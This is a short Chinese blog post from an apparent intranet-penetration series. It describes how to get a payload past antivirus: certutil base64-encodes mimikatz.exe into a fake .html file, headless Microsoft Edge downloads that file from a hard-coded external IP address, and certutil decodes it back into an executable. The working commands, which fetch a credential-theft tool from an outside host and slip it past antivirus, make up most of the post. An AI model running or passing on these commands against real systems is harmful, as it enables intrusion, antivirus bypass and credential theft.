利用chrome/edge下载文件

最新推荐文章于 2024-10-17 15:41:51 发布

「已注销」

最新推荐文章于 2024-10-17 15:41:51 发布

阅读量393

点赞数

分类专栏：内网渗透文章标签： chrome edge windows

本文链接：https://blog.youkuaiyun.com/weixin_44747030/article/details/129169656

版权

内网渗透专栏收录该内容

12 篇文章

订阅专栏

文章描述了一种利用certutil命令进行base64编码和解码的技巧，结合Chrome或Edge浏览器下载exe文件，可能涉及恶意软件的传播。这个过程包括编码文件，通过浏览器下载远程资源，然后解码生成可执行文件。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

现在不混淆命令直接执行certutil命令直接就会被杀

在这里插入图片描述

使用certutil对文件进行base64编码
certutil -encode mimikatz.exe evil.b64.html

使用chrome\edge下载exe
"C:\Program Files (x86)\Microsoft\EdgeCore\110.0.1587.50\msedge.exe" --headless --enable-logging --disable-gpu --dump-dom http://205.185.114.68:8114/evil.b64.html > evil.b64.html

解码文件
certutil -decode evil.b64.html C:\Users\rkvir\Downloads\evil.exe

发的tcp的包

在这里插入图片描述